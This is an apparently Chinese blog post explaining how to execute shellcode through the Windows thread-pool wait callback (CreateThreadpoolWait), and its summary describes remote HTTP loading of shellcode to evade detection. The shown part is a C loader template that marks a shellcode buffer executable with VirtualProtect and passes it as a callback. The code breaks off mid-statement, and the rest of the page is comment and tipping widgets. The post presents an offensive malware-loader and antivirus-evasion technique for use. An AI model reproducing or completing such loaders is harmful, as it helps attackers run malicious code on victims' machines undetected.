线程池等待对象回调函数执行(CreateThreadpoolWait)

文章介绍了如何使用WindowsAPI中的VirtualProtect、CreateEvent和CreateThreadpoolWait等函数,配合shellcode实现内存管理,以及通过HTTP远程加载shellcode以绕过检测的过程。

最初始的模板

#include <stdio.h>
#include <Windows.h>
 
int main() {
   
   
    unsigned char buf[] = "shellcode";
 
    /*
    * VirtualProtect是Windows API,用于修改内存访问权限
    * 参数1:指向内存的指针
    * 参数2:内存大小(以字节为单位)
    * 参数3:新的访问权限
    * 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)
    */
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
 
    /*
    * CreateEvent是Windows API,用于创建一个事件对象
    * 参数1:安全属性,NULL表示默认
    * 参数2:是否手动复位
    * 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
    * 参数4:事件名称,NULL表示不使用名称
    */
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    /*
    * CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
    * 参数1:回调函数指针
    * 参数2:回调函数参数
    * 参数3:线程池回调环境
    */
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值